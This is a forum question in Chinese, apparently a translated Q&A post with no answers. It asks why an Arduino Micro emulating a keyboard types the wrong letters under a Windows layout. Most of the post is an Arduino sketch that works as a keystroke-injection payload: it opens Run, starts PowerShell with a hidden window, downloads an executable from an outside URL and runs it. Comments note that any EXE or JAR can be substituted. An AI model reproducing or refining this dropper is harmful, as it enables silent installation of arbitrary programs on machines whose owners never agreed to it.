0

我想用我的 Arduino Micro 作为 HID。我正在使用名为 Keyboard.h 的库。如果我运行我的脚本并让脚本输入诸如“z”或“y”之类的字母或任何特殊字母,它会输入完全不同的字母。这是因为我的 Windows 机器上的键盘布局,如果是,我该如何修复它。这是我的代码:

#include <Keyboard.h> 
/*
* Developer @root_haxor !
*/

// Init function
void setup()
{
 // Begining the stream
 Keyboard.begin();

 // Waiting 500ms for init
 delay(500);

 // You can remove this Delay line in the beginning (I just rather having it just in case)
 delay(6000);

 // open the Run
 Keyboard.press(KEY_LEFT_GUI);
 Keyboard.press(114);
 Keyboard.releaseAll();

 // Change this value depending on the computer you are using ( i mean slow or not )
 delay(100);

 Keyboard.print("powershell -windowstyle hidden");

 typeKey(KEY_RETURN);

 // the shell usually takes a few  seconds to fully run so i put a delay just in case .
 delay(1000);

 // I just wanted to note that the file can be an EXE or JAR file doesn't really matter.
 // in the destination if you put the fileName only, the file will be saved under C:\Users\LoggedInUser
 Keyboard.print("$source = \"https://www.7-zip.org/a/7z1900-x64.exe\"; $destination = \"7zip.exe\"; Invoke-WebRequest $source -OutFile $destination;");

 typeKey(KEY_RETURN);

 delay(5000);

 Keyboard.print("start-process 7zip.exe");

 typeKey(KEY_RETURN);

 delay(100);

 Keyboard.print("exit");

 typeKey(KEY_RETURN);
}

void typeKey(int key)
{
 Keyboard.press(key);
 delay(50);
 Keyboard.release(key);
}

// Unused
void loop() {}

感谢帮助!

4

0 回答 0